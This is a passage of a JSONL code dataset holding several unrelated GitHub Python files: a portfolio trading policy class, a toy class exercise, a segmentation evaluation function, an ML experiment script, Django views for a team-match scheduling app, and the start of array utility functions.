2] = new_master_arr[:, 2].astype(np.float)\r\n\r\n                    df = pd.DataFrame(\r\n                        np.r_[new_master_arr, old_master_arr],\r\n                        columns=[\r\n                            \"unit_price\", \r\n                            \"commission\", \r\n                            \"tax\", \r\n                            \"ticker\", \r\n                            \"expense_ratio\", \r\n                            \"asset_allocation\",\r\n                            \"area_allocation\",\r\n                            \"yield\",\r\n                            \"asset\", \r\n                            \"area\"\r\n                        ]\r\n                    )\r\n                    df = df.drop_duplicates([\"ticker\"])\r\n\r\n                else:\r\n                    old_master_arr = master_df[[\r\n                        \"commission\", \r\n                        \"tax\", \r\n                        \"ticker\", \r\n                        \"expense_ratio\", \r\n                        \"asset_allocation\",\r\n                        \"area_allocation\",\r\n                        \"yield\",\r\n                        \"asset\", \r\n                        \"area\"\r\n                    ]].values\r\n\r\n                    df = pd.DataFrame(\r\n                        np.c_[new_arr[:, 1], old_master_arr],\r\n                        columns=[\r\n                            \"unit_price\", \r\n                            \"commission\", \r\n                            \"tax\", \r\n                            \"ticker\", \r\n                            \"expense_ratio\", \r\n                            \"asset_allocation\",\r\n                            \"area_allocation\",\r\n                            \"yield\",\r\n                            \"asset\", \r\n                            \"area\"\r\n                        ]\r\n                    )\r\n\r\n            df[\"unit_price\"] = df[\"unit_price\"].astype(float)\r\n            df[\"commission\"] = df[\"commission\"].astype(float)\r\n            df[\"tax\"] = df[\"tax\"].astype(float)\r\n\r\n            self.__past_unit_price_df = pd.DataFrame(\r\n                self.__historical_arr[\r\n                    self.__historical_arr[:, 0] < self.__now_date_key\r\n                ][-self.__date_fraction:]\r\n            )\r\n            self.__past_unit_price_df.columns = [\r\n                \"_\",\r\n                \"unit_price\",\r\n                \"__\",\r\n                \"ticker\",\r\n            ]\r\n            self.__past_unit_price_df = self.__past_unit_price_df[[\"unit_price\", \"ticker\"]]\r\n            self.__past_unit_price_df.unit_price = self.__past_unit_price_df.unit_price.astype(float)\r\n\r\n            self.__stock_master_arr_list[batch] = df.values\r\n\r\n    def update_last(self):\r\n        self.__update_last()\r\n\r\n    def __update_last(self):\r\n        for batch in range(self.__agents_master_arr.shape[0]):\r\n            commission_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n            tax_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n            expense_ratio_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n            dividend_ratio_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n            sel_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n\r\n            for agent_i in range(self.__agents_master_arr[batch].shape[0]):\r\n                commission_arr[agent_i] = self.__state_hold_arr[batch][agent_i] * self.__stock_master_arr_list[batch][:, 0] * self.__stock_master_arr_list[batch][:, 1]\r\n                tax_arr[agent_i] = self.__state_hold_arr[batch][agent_i] * self.__stock_master_arr_list[batch][:, 0] * self.__stock_master_arr_list[batch][:, 2]\r\n                expense_ratio_arr[agent_i] = self.__state_hold_arr[batch][agent_i] * self.__stock_master_arr_list[batch][:, 0] * self.__stock_master_arr_list[batch][:, 4].astype(float) * float(self.__date_fraction) / 365 / 100\r\n                dividend_ratio_arr[agent_i] = self.__state_hold_arr[batch][agent_i] * self.__stock_master_arr_list[batch][:, 0] * self.__stock_master_arr_list[batch][:, 7].astype(float) * float(self.__date_fraction) / 365 / 100\r\n                tax_arr[agent_i] = tax_arr[agent_i] + (dividend_ratio_arr[agent_i] * self.__stock_master_arr_list[batch][:, 2])\r\n                sel_arr[agent_i] = self.__state_hold_arr[batch][agent_i] * self.__stock_master_arr_list[batch][:, 0]\r\n\r\n            commission_tax_arr = np.nansum(tax_arr + commission_arr, axis=1)\r\n            sel_arr = np.nansum(sel_arr, axis=1)\r\n            dividend_ratio_arr = np.nansum(dividend_ratio_arr, axis=1)\r\n\r\n            for agent_i in range(self.__agents_master_arr[batch].shape[0]):\r\n                self.__agents_master_arr[batch][agent_i, 1] -= commission_tax_arr[agent_i]\r\n                self.__agents_master_arr[batch][agent_i, 1] += sel_arr[agent_i]\r\n                self.__agents_master_arr[batch][agent_i, 1] += dividend_ratio_arr[agent_i]\r\n                self.__agents_master_arr[batch][agent_i, 2] = 0.0\r\n                self.__agents_master_arr[batch][agent_i, 5] = 0.0\r\n                self.__agents_master_arr[batch][agent_i, 6] += sel_arr[agent_i]\r\n                self.__agents_master_arr[batch][agent_i, 7] += commission_tax_arr[agent_i]\r\n                self.__agents_master_arr[batch][agent_i, 8] = self.__cum_devided_ratio_arr[agent_i].sum() + dividend_ratio_arr[agent_i]\r\n\r\n    def __yeild_on_the_way(self, batch):\r\n        # shape is not changed, even if possible or not.\r\n        commission_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n        tax_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n        buy_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n        sel_arr = np.zeros((self.__agents_master_arr[batch].shape[0], self.__stock_master_arr_list[batch].shape[0]))\r\n\r\n        for agent_i in range(self.__agents_master_arr[batch].shape[0]):\r\n            commission_arr[agent_i] = self.action_hold_arr[batch][agent_i] * self.__stock_master_arr_list[batch][:, 0] * self.__stock_master_arr_list[batch][:, 1]\r\n            sel_arr[agent_i] = self.action_hold_arr[batch][agent_i] * self.__stock_master_arr_list[batch][:, 0]\r\n\r\n        commission_tax_arr = np.nansum(tax_arr + commission_arr, axis=1)\r\n        sel_arr = np.nansum(sel_arr, axis=1)\r\n\r\n        if self.__possible_flag is False:\r\n            cum_trading_profit_and_loss_arr = sel_arr + self.__cum_sel_arr[batch] - self.__cum_buy_arr[batch] - self.__cum_commission_tax_arr[batch] - commission_tax_arr\r\n        else:\r\n            cum_trading_profit_and_loss_arr = sel_arr + self.__possible_cum_sel_arr[batch] - self.__possible_cum_buy_arr[batch] - self.__possible_cum_commission_tax_arr[batch] - commission_tax_arr\r\n\r\n        yeild_arr = np.zeros(self.__agents_master_arr[batch].shape[0])\r\n        for agent_i in range(self.__agents_master_arr[batch].shape[0]):\r\n            yeild = 100 * (cum_trading_profit_and_loss_arr[agent_i])\r\n\r\n            if self.__possible_flag is False:\r\n                yeild = yeild / (1e-08 + self.__cum_buy_arr[batch][agent_i] + self.__cum_commission_tax_arr[batch][agent_i])\r\n            else:\r\n                yeild = yeild / (1e-08 + self.__possible_cum_buy_arr[batch][agent_i] + self.__possible_cum_commission_tax_arr[batch][agent_i])\r\n\r\n            yeild = yeild / ((((self.t * self.__date_fraction) + 1) / 365) + 1)\r\n            yeild_arr[agent_i] = yeild\r\n\r\n        return yeild_arr\r\n\r\n    def get_agents_master_arr(self):\r\n        return self.__agents_master_arr\r\n    \r\n    def set_agents_master_arr(self, value):\r\n        self.__agents_master_arr = value\r\n    \r\n    agents_master_arr = property(get_agents_master_arr, set_agents_master_arr)\r\n\r\n    def get_action_hold_arr(self):\r\n        return self.__action_hold_arr\r\n\r\n    def set_action_hold_arr(self, value):\r\n        self.__action_hold_arr = value\r\n\r\n    action_hold_arr = property(get_action_hold_arr, set_action_hold_arr)\r\n\r\n    def get_next_action_n(self):\r\n        return self.__next_action_n\r\n    \r\n    def set_next_action_n(self, value):\r\n        self.__next_action_n = value\r\n\r\n    next_action_n = property(get_next_action_n, set_next_action_n)\r\n\r\n    def get_now_date_key(self):\r\n        return self.__now_date_key\r\n    \r\n    def set_now_date_key(self, value):\r\n        self.__now_date_key = value\r\n\r\n    now_date_key = property(get_now_date_key, set_now_date_key)\r\n\r\n    def get_historical_arr(self):\r\n        return self.__historical_arr\r\n    \r\n    def set_historical_arr(self, value):\r\n        self.__historical_arr = value\r\n\r\n    historical_arr = property(get_historical_arr, set_historical_arr)\r\n\r\n    def set_readonly(self, value):\r\n        ''' setter '''\r\n        raise TypeError(\"This property must be read-only.\")\r\n\r\n    def set_state_arr(self, value):\r\n        if isinstance(value, nd.NDArray) is False:\r\n            raise TypeError()\r\n        if isinstance(value, tuple) is True:\r\n            raise TypeError()\r\n\r\n        self.__state_arr = value\r\n\r\n    def get_state_arr(self):\r\n        ''' setter '''\r\n        return self.__state_arr\r\n\r\n    state_arr = property(get_state_arr, set_state_arr)\r\n\r\n    def get_q_logs_arr(self):\r\n        ''' getter '''\r\n        return self.__q_logs_arr\r\n    \r\n    def set_q_logs_arr(self, values):\r\n        ''' setter '''\r\n        raise TypeError(\"The `q_logs_arr` must be read-only.\")\r\n    \r\n    q_logs_arr = property(get_q_logs_arr, set_q_logs_arr)\r\n","repo_name":"accel-brain/accel-brain-code","sub_path":"Algorithm-Wars/algowars/policysampler/portfolio_percent_policy.py","file_name":"portfolio_percent_policy.py","file_ext":"py","file_size_in_byte":85934,"program_lang":"python","lang":"en","doc_type":"code","stars":288,"dataset":"github-code","pt":"60"}
+{"seq_id":"13718719097","text":"class Godzilla:\n    def __init__(self, stomach_volume, current_volume):\n        self.stomach_volume = stomach_volume\n        self.current_volume = current_volume\n\n    def method_eat(self, person_volume):\n        counter = self.current_volume + person_volume\n        if counter > self.stomach_volume * 0.9:\n            print(\"Годзила сыт\")\n        else:\n            print(\"Годзила скушал человека с весом\", person_volume)\n            print(\"Осталось места в желудке:\", self.stomach_volume - person_volume)\n            self.current_volume += person_volume\n\n\ndef main():\n    object = Godzilla(100, 10)\n    object.method_eat(10)\n\n\nif __name__ == '__main__':\n    main()","repo_name":"TetianaMir/Hillel","sub_path":"lesson_10_hw/Task_1.py","file_name":"Task_1.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71013093310","text":"import torch\nimport numpy as np\n\ndef eval_net(segnet,crfnet,val_img):\n    segnet.eval()\n    crfnet.eval()\n    dice_sum=0.0\n    i_mark = 1\n\n    for i,t in enumerate(val_img):\n        img = t[0]\n        true_mask = t[1]\n\n        img = np.expand_dims(img, axis=0)\n        img = torch.from_numpy(img)\n        true_mask = torch.from_numpy(true_mask)\n\n        img = img.cuda()\n        true_mask = true_mask.cuda()\n\n        with torch.no_grad():\n            label_pre = segnet(img)\n            pre_mask = crfnet(img,label_pre)\n\n        mask_flat = true_mask.view(-1)\n        pre_flat = pre_mask.view(-1)\n\n        inter = torch.dot(mask_flat,pre_flat)\n        union = torch.sum(pre_flat)+torch.sum(mask_flat)\n        t = (2.*inter.float()+1e-5) / (union.float()+1e-5)\n        dice_sum = dice_sum+t\n        i_mark = i\n\n    segnet.train()\n    return dice_sum / (i_mark+1)\n\n","repo_name":"LeongDong/ConvCRF","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"27685723574","text":"import sys\nimport os\nimport argparse\nimport pickle\nfrom datetime import datetime\nfrom os import environ\nfrom os.path import join\nfrom dotenv import load_dotenv\nimport numpy as np\nimport pandas as pd\nfrom keras import backend as K\nfrom tensorflow import set_random_seed\nfrom numpy.random import seed\nfrom evaluation.evaluation import evaluate_nn\nfrom data_retrieval.data_retrieval import get_data\n\n# Environment variables\nload_dotenv()\nenviron['TF_CPP_MIN_LOG_LEVEL'] = '3'  # Verbosity level is too high by default\n\n# Set predifined random seeds for both numpy and tensorflow\n# to get reproduceable experiment results.\n# Comment next 4 lines, to remove predefined random seeds.\nnp_seed = 61619\ntf_seed = 25383\nseed(np_seed)\nset_random_seed(tf_seed)\n\n# Input arguments\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\n    '--split',\n    help=('Possible values: \"video\", \"episodes\", \"both\".'\n          'Used to split channel to classifiable parts.'),\n    default='video'\n)\n\nparser.add_argument(\n    '--agg',\n    help=('Possible values: \"max\", \"avg\", \"both\".'\n          'Used to aggregate classified values to channel.'),\n    default='avg'\n)\n\nparser.add_argument(\n    '--single',\n    help='Six bit values, split by \",\" corelated to transformation_options'\n)\n\n\n# Load dataset\ndata, labels, dataset = get_data()\n\n# Experiment arguments\n# Possible values are visible in comments after properties\nclf_type = 'nn'  # lr, nn\n\nsplit_options = {\n    'type': 'video',  # video, episodes\n    'mean': False,  # True, False\n    'config': 'IS09_emotion',  # IS09_emotion, IS12_speaker_trait\n    'speech_embeddings': {\n        'mean': False  # True, False\n    }\n}\n\nnn_arch = {\n    'layers': [\n        ('dropout', 0.2),\n        ('dense', 128, 'relu'),\n        ('dropout', 0.2),\n        ('dense', 64, 'tanh'),\n        ('dropout', 0.20),\n        ('dense', 3, 'softmax'),\n    ],\n    'optimizer': 'adagrad',\n    'batch_size': 75,\n    'epochs': 35\n}\n\ntransformation_options = {\n    'bert_fulltext': 1,  # 0,1\n    'numerical': 1,  # 0,1\n    'nela_desc': 1,  # 0,1\n    'bert_subs': 1,  # 0,1\n    'open_smile': 1,  # 0,1\n    'speech_embeddings': 1,  # 0,1\n}\n\n\nexperiment_setups = [\n    [1, 0, 0, 0, 0, 0],  # only bert_fulltext\n    [0, 1, 0, 0, 0, 0],  # only numerical\n    [0, 0, 1, 0, 0, 0],  # only nela_desc\n    [0, 0, 0, 1, 0, 0],  # only bert_subs\n    [0, 0, 0, 0, 1, 0],  # only open_smile(emo_1)\n    [0, 0, 0, 0, 0, 1],  # only speech_embeddings\n    [1, 1, 1, 1, 0, 0],  # text+numeric without sound\n    [1, 1, 1, 1, 1, 1],  # all possible together\n    [1, 1, 1, 1, 1, 0],  # text+numeric+open_smile\n    [1, 1, 1, 1, 0, 1],  # text+numeric+speech_embeddings\n    [1, 1, 1, 0, 1, 1],  # all without bert_subs\n    [1, 1, 0, 1, 1, 1],  # all without nela_desc\n    [1, 0, 1, 1, 1, 1],  # all without numerical\n    [0, 1, 1, 1, 1, 1],  # all without bert_fulltext\n]\n\ninput_args = vars(parser.parse_args())\n\n\ndef parse_transformation(input):\n    number = int(input)\n\n    if number not in (0, 1):\n        raise Exception(\"Possible values for transformation: (0, 1)\")\n\n    return number\n\n\nif input_args['single']:\n    experiment_setup = [parse_transformation(x)\n                        for x in input_args['single'].split(',')]\n\n    if len(experiment_setup) != 6:\n        raise Exception(\"transformation_options has mandatory length: 6\")\n\n    experiment_setups = [experiment_setup]\n\nif input_args['agg'] == 'both':\n    possible_aggregation_options = ['avg', 'max']\nelse:\n    possible_aggregation_options = [input_args['agg']]\n\nif input_args['split'] == 'both':\n    split_types = ['video', 'episodes']\nelse:\n    split_types = [input_args['split']]\n\ncurrent_time = datetime.now().strftime('%Y%m%d_%H%M%S')\noutput_path = join(environ['experiments_output'], current_time)\nif not os.path.exists(output_path):\n    os.makedirs(output_path)\n\nexperiment_results = []\nfor split_type in split_types:\n    for aggregation_option in possible_aggregation_options:\n        for experiment_setup in experiment_setups:\n            sys.stdout = sys.__stdout__  # default print to console\n\n            K.clear_session()\n\n            current_experiment_label = (f'{datetime.now():%H:%M:%S}, '\n                                        f'split: {split_type}, '\n                                        f'agg: {aggregation_option}, '\n                                        f'feats: {experiment_setup}')\n\n            print(current_experiment_label)\n\n            file_path = (f'{split_type}_{aggregation_option}_'\n                         f'{\"\".join([str(x) for x in experiment_setup])}'\n                         '.log')\n\n            sys.stdout = open(join(output_path, file_path), 'w')\n            split_options['type'] = split_type\n\n            transformation_options['bert_fulltext'] = experiment_setup[0]\n            transformation_options['numerical'] = experiment_setup[1]\n            transformation_options['nela_desc'] = experiment_setup[2]\n            transformation_options['bert_subs'] = experiment_setup[3]\n            transformation_options['open_smile'] = experiment_setup[4]\n            transformation_options['speech_embeddings'] = experiment_setup[5]\n\n            print(f'tensorflow.set_random_seed {tf_seed}')\n            print(f'numpy.randomseed {seed}')\n\n            result = evaluate_nn(data,\n                                 labels,\n                                 dataset,\n                                 clf_type,\n                                 aggregation_options=aggregation_option,\n                                 transformation_options=transformation_options,\n                                 split_options=split_options,\n                                 nn_arch=nn_arch,\n                                 debug=True,\n                                 verbose=0)\n\n            acc_channels_test = np.average(result[0])\n            acc_channels_train = np.average(result[1])\n            acc_splits_test = np.average(result[2])\n            acc_splits_train = np.average(result[3])\n            mae_channels_test = np.average(result[4])\n            mae_channels_train = np.average(result[5])\n            mae_splits_test = np.average(result[6])\n            mae_splits_train = np.average(result[7])\n\n            experiment_results.append([\n                f'{split_type}, {aggregation_option}, {experiment_setup}',\n                acc_splits_test,\n                acc_splits_train,\n                acc_channels_test,\n                acc_channels_train,\n                mae_splits_test,\n                mae_splits_train,\n                mae_channels_test,\n                mae_channels_train,\n            ])\n\n# just in case if df fails for encoding reasons.\nwith open('experiment_results.backup', 'wb') as f:\n    pickle.dump(experiment_results, f)\n\ndf = pd.DataFrame(experiment_results, columns=['experiment',\n                                               'acc_splits_test',\n                                               'acc_splits_train',\n                                               'acc_channels_test',\n                                               'acc_channels_train',\n                                               'mae_splits_test',\n                                               'mae_splits_train',\n                                               'mae_channels_test',\n                                               'mae_channels_train'])\n\ntotal_results_path = join(output_path, f'{current_time}.xlsx')\ndf.to_excel(total_results_path, index=False)\n","repo_name":"whydinkov/interspeech-2019","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7435,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"44505605010","text":"import datetime\nimport re\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, redirect, reverse, get_object_or_404\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import auth, messages\nfrom .forms import CreateOrEditMatchHelperForm, processMatchRequestForm, UpdateMatchAvailabilityForm, SaveTeamsForm, RatePlayerPerformanceForm, SendReminderEmailForm\nfrom groups.models import Group\nfrom .models import MatchData, AvailabilityTable, PerformanceRating\nfrom profile_and_stats.models import UserProfileData\nfrom django.utils import timezone, six\nfrom django.utils.dateparse import parse_date\nfrom django.utils.timezone import get_fixed_timezone, utc\nfrom django.db import connection\nimport json\nfrom django.core.mail import send_mail\n\n# Create your views here.\n@login_required\ndef match_instance(request, groupid, matchid):\n    \n    my_profile = UserProfileData.objects.get(email=request.user.email)\n    \n    try:\n        match_ratings = list(PerformanceRating.objects.filter(\n            performance_matchID=matchid).values(\"performance_rated_by__email\").distinct())\n    except:\n        match_ratings = None\n    \n    try:\n        my_ratings = PerformanceRating.objects.filter(performance_matchID=matchid, \n            performance_rated_by=my_profile)\n    except:\n        my_ratings = \"empty\"\n    \n    try:\n        my_availability = AvailabilityTable.objects.get(matchID=matchid, player=my_profile)\n    except:\n        my_availability = None\n    \n    if int(matchid) == 0:\n        \n        match_form = CreateOrEditMatchHelperForm()\n        this_match = None\n        avail_data = None\n    else:\n        this_match = get_object_or_404(MatchData, pk=matchid)\n        match_form = CreateOrEditMatchHelperForm(instance=this_match)\n        \n        try:\n            avail_data = AvailabilityTable.objects.filter(matchID=matchid)\n        except:\n            avail_data = None    \n    \n    return render(request, 'match_page.html', { \"match_form\": match_form,\n        \"groupid\" : groupid, \"matchid\": matchid, \"match_data\": this_match, \n        \"avail_data\":avail_data, \"this_user\" : my_profile, \n        \"match_ratings\" : match_ratings, \"my_ratings\": my_ratings,\n        \"my_availability\" : my_availability})\n\n@login_required    \ndef add_or_edit_a_match(request, groupid, matchid):\n    \n    if request.method == \"POST\":\n        \n        try:\n            this_group = Group.objects.get(pk=groupid)\n        except:\n            messages.error(request, \"We can't find the group you're looking for...\")\n            return redirect(reverse('group-select'))    \n        \n        if this_group:\n            \n            # Security check - is the user posting for a group they are a member of?\n            \n            if str(request.user.email) in str(this_group.users.all()):\n                \n                # If so process their request...\n                \n                # Create the data using info provided from the form...\n                \n                match_data ={}\n                \n                for key, value in request.POST.items():\n                    match_data[key] = value\n                \n                match_data[\"creator\"] = UserProfileData.objects.get(pk=request.user.pk)\n                match_data[\"associated_group\"] = this_group.pk\n                \n                \n                if int(matchid) != 0:\n                    this_match = get_object_or_404(MatchData, pk=matchid)\n                else:\n                    # User can only have 1 match on any given date so quick check to make sure their isn't an existing match...\n                    \n                    try:\n                        this_match = MatchData.objects.get(associated_group=groupid, date_of_match=match_data[\"date_of_match\"])\n                    except:\n                        this_match = None\n                \n                match_data_form = processMatchRequestForm(match_data, instance=this_match)\n                \n                # Save the first booking...\n                \n                if match_data_form.is_valid():\n                    match = match_data_form.save()\n                    \n                    # Check to see if the user requested a repeat booking...\n                    \n                    try:\n                        repeats = int(match_data[\"repeat\"])\n                    except:\n                        repeats = 0\n                        \n                    first_match = parse_date(str(match_data[\"date_of_match\"]))\n                    \n                    if int(repeats) > 0:\n                        \n                        # If repeats then book in a match for each requested repeat instance...\n                        \n                        match_booking = 1\n                        while repeats > match_booking:\n                            d = parse_date(str(match_data[\"date_of_match\"]))\n                            d += timezone.timedelta(days=7)\n                            match_data[\"date_of_match\"] = d\n                            \n                            try:\n                                this_match = MatchData.objects.get(associated_group=groupid, date_of_match=match_data[\"date_of_match\"])\n                            except:\n                                this_match = None\n                            \n                            if this_match == None:\n                            \n                                match_data_form = processMatchRequestForm(match_data, instance=this_match)\n                                if match_data_form.is_valid():\n                                    match = match_data_form.save()\n                                    match_booking += 1\n                    \n                            else:\n                                match_booking += 1\n                    \n                    \n                    if match.match_status == \"S\":\n                        if repeats > 1:\n                            messages.success(request, \"Match arranged for {0} on {1} - repeated for {2} weeks\".format(match_data[\"time_of_match\"], first_match.strftime('%d/%m/%Y'), repeats))  \n                        else:\n                            messages.success(request, \"Match arranged for {0} on {1}\".format(match_data[\"time_of_match\"], first_match.strftime('%d/%m/%Y')))  \n                    else:\n                        messages.success(request, \"Match at {0} on {1} is marked as cancelled\".format(match_data[\"time_of_match\"], first_match.strftime('%d/%m/%Y')))\n                else:\n                    print(match_data_form.errors)\n                    messages.error(request, \"Something went wrong, please try later\")\n                    return redirect('group-home', groupid)  \n                \n        else:\n            messages.error(request, \"You can't do that here\")\n            return redirect(reverse('group-select'))    \n    \n    return redirect(reverse('group-home', kwargs={\"id\" : groupid}))\n    \n@login_required\ndef update_availability_status(request, matchid, availability_table_id):\n    \"\"\" \n    Allows user to make themselves available or unavailable for a match by\n    creating an instance for that match that confirms their availability\n    \"\"\"\n    if request.method == \"POST\":\n        \n        # Edit or create an instance by checking if one is already available\n        \n        try:\n            availability = AvailabilityTable.objects.get(pk=availability_table_id)\n        except:\n            availability = None\n        \n        group = Group.objects.get(linked_group__pk=matchid)\n        \n        # Prepare the data received via js ajax\n        \n        new_data = {}\n        new_data[\"player\"] = request.user.pk\n        new_data[\"matchID\"] = request.POST[\"matchID\"]\n        new_data[\"status\"] = request.POST[\"status\"]\n        new_data[\"availability_group\"] = group.pk\n        \n        \"\"\" Security check to make sure data is all related, is user in \n        associated group? \"\"\"\n        \n        if str(request.user.email) in str(group.users.all()):\n        \n            form = UpdateMatchAvailabilityForm(new_data, instance=availability)\n            \n            response_data = {}\n            \n            if form.is_valid():\n                new_record = form.save()\n                \n                response_data['result'] = 'Update successful!'\n                response_data['instanceID'] = new_record.pk\n                \n                \n                return HttpResponse(json.dumps(response_data),content_type=\"application/json\")\n            else:\n                print(form.errors)\n                return HttpResponse(json.dumps({\"ERROR\":\"Error in updating availability\"}), content_type=\"application/json\")\n        else:\n            return HttpResponse(json.dumps({\"ERROR\":\"You are not a member of this group!\"}), content_type=\"application/json\")\n    else:\n        return redirect(reverse('index'))\n        \n@login_required    \ndef save_a_generated_team(request, groupid, matchid):\n    \n    if request.method == \"POST\":\n        \n        try:\n            match = MatchData.objects.get(pk=matchid)\n        except: \n            match - None\n        \n        response_data = {}\n        response_data[\"selected_team\"] = request.POST[\"saved_team\"]\n        \n        form = SaveTeamsForm(response_data, instance = match)\n        \n        if form.is_valid():\n            saved_teams = form.save()\n                \n            response_data['result'] = 'Update successful!'\n            response_data['instanceID'] = saved_teams.pk\n                \n                \n            return HttpResponse(json.dumps(response_data),content_type=\"application/json\")\n        else:\n            print(form.errors)\n            return HttpResponse(json.dumps({\"ERROR\":\"Error in saving your teams, please try later\"}), content_type=\"application/json\")\n        \n        \n@login_required\ndef rate_performance_page(request, matchid):\n    \n    # Select match and current user\n    \n    match = MatchData.objects.get(pk=matchid)\n    group = Group.objects.get(pk=match.associated_group.pk)\n    this_user = UserProfileData.objects.get(username=request.user.username)\n    \n    # If a team had been saved, prepare the data of the players to be rated excluding the current user...\n    \n    if match.selected_team:\n        \n        teams = json.loads(match.selected_team)\n        players_to_rate = []\n    \n        for entry in teams:\n            if entry[\"full-username\"] != this_user.username:\n                for member in group.users.all():\n                    \n                    if member.username == entry[\"full-username\"]:\n                        entry[\"username\"] = entry[\"full-username\"]\n                        entry[\"nickname\"] = member.nickname\n                        entry[\"pk\"] = member.pk\n                        entry[\"user_photo\"] = member.user_photo\n                        players_to_rate.append(entry)\n                \n        \n    else:\n        players_to_rate = [\"Sorry, no teams were saved for this game so player performance ratings are unavailable\"]\n    \n    \n    return render(request, 'rate_performance.html', { \"players_to_rate\" : players_to_rate, \"match_data\" : match })\n    \n@login_required\ndef add_ratings_to_db(request, matchid):\n    \n    \n    if request.method == \"POST\":\n        if matchid == \"0\":\n            response_data = {}\n            response_data['result'] = 'No ratings provided...'\n            response_data['root-url'] = request.META[\"HTTP_ORIGIN\"]\n            \n            return HttpResponse(json.dumps(response_data),content_type=\"application/json\")\n        else:    \n            this_user = UserProfileData.objects.get(username=request.user.username)\n            this_group = Group.objects.get(linked_group__pk=matchid)\n            data = json.loads(request.POST[\"ratings\"])\n            \n            success_count = 0\n            \n            for rating in data:\n                this_rating = {}\n                rated_player = UserProfileData.objects.get(username=rating[\"username\"])\n                \n                this_rating[\"performance_player_rated\"] = rated_player\n                this_rating[\"performance_rated_by\"] = this_user\n                this_rating[\"performance_rating\"] = rating[\"rating\"]\n                this_rating[\"performance_matchID\"] = rating[\"matchid\"]\n                \n                form = RatePlayerPerformanceForm(this_rating)\n            \n                if form.is_valid():\n                    saved_performance_record = form.save()\n                    success_count += 1    \n            \n            if success_count == len(data):\n            \n                response_data = {}\n                response_data['result'] = 'Update successful!'\n                response_data['root-url'] = request.META[\"HTTP_ORIGIN\"]\n                response_data['groupid'] = this_group.pk\n                        \n                return HttpResponse(json.dumps(response_data),content_type=\"application/json\")\n            else:\n                print(form.errors)\n                return HttpResponse(json.dumps({\"ERROR\":\"Error in saving your ratings, please try later\"}), content_type=\"application/json\")\n\n@login_required    \ndef email_availability_reminder(request, matchid):\n    \"\"\"\n    Sends an email to every user in the match that has not submitted their availability\n    \"\"\"\n    \n    if request.method == \"POST\":\n        # Security check - is the user posting for a match they are a member of?\n        \n        this_match = MatchData.objects.get(pk=matchid)\n        user_is_in_group = False\n        \n        for member in this_match.associated_group.users.all():\n            if str(request.user.email) == str(member):\n                user_is_in_group = True\n        \n        if user_is_in_group:\n            \n            # Next, check which players have already confirmed their availability...\n        \n            availability_submissions = AvailabilityTable.objects.filter(matchID=matchid).values_list('player__email')\n        \n            unconfirmed_players = []\n            \n            for member in this_match.associated_group.users.all():\n                availability_submitted = False \n                for user in availability_submissions:\n                    if user[0] == member.email:\n                        availability_submitted = True\n                if availability_submitted == False:\n                    unconfirmed_players.append({\"email\" : member.email, \"username\" : member.username })\n            \n            response_data = {}\n            \n            if this_match.reminder_emails < 2:\n                form = SendReminderEmailForm({\"reminder_emails\" : this_match.reminder_emails + 1}, instance=this_match)\n                if form.is_valid():\n                    form.save()\n                    print(\"saved\")\n                    \n                    for player in unconfirmed_players:\n                        send_mail('Availability request for match on {0} at {1}'.format(this_match.date_of_match.strftime('%d/%m/%Y'), this_match.time_of_match), \n                            \"Hi {0},\\n\\nWe hope you're enjoying using MY TEAM!\\n\\nPlease could you take this opportunity to confirm your availability for the above match by clicking the link below...\\n\\nhttps://my-team-utility.herokuapp.com/match/match_instance/{2}/{3}\\n\\nRequest sent by user - {1}\\n\\nThanks in advance, we hope you win!\"\n                            .format(player[\"username\"], request.user.username, this_match.associated_group.pk,this_match.pk), 'support@myteamutility.com', [player[\"email\"]])\n                    \n                    response_data['result'] = 'Update successful!'\n                    if this_match.reminder_emails == 1:\n                        response_data['emails-sent'] = \"One\"\n                    else:\n                        response_data['emails-sent'] = \"Two\"\n                else:\n                    response_data['result'] = 'Error'\n                    print(form.errors)\n                    \n            else:\n                response_data['result'] = 'All reminders sent'\n        \n        return HttpResponse(json.dumps(response_data),content_type=\"application/json\")        \n    else:\n        response_data['result'] = 'Error'\n        return HttpResponse(json.dumps(response_data),content_type=\"application/json\")\n    \n    ","repo_name":"ebaymademepoor/django_milestone_project_myTeam","sub_path":"matches/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16244,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"8978479039","text":"# array_demos.py\n# Functions which work with arrays\n\nfrom array import array\nfrom collections import defaultdict\n\n# First Unique Element\ndef first_unique_element(L):\n    \"\"\" This function returns the first unique element in a given list.\"\"\"\n\n    # First, determine the unique elements of the array.\n    # Keep track of 'uniqueness' elements in a dictionary (hashtable).\n    unique_dict = {}\n\n    for element in L:\n        # Element has appeared before and cannot be unique\n        if element in unique_dict:\n            unique_dict[element] = False\n        # Element has not appeared before and may be unique\n        else: \n            unique_dict[element] = True\n\n    # Second, go through the array until a unique value is found\n    for element in L:\n        if unique_dict[element]:\n            return element\n\n    # In the event that there are no unique elements, return null\n    return None\n\n# Last Unique Element\ndef last_unique_element(L):\n    \"\"\" This function returns the last unique element in a given list.\"\"\"\n\n    # First, determine the unique elements of the array.\n    # Keep track of 'uniqueness' elements in a dictionary (hashtable).\n    unique_dict 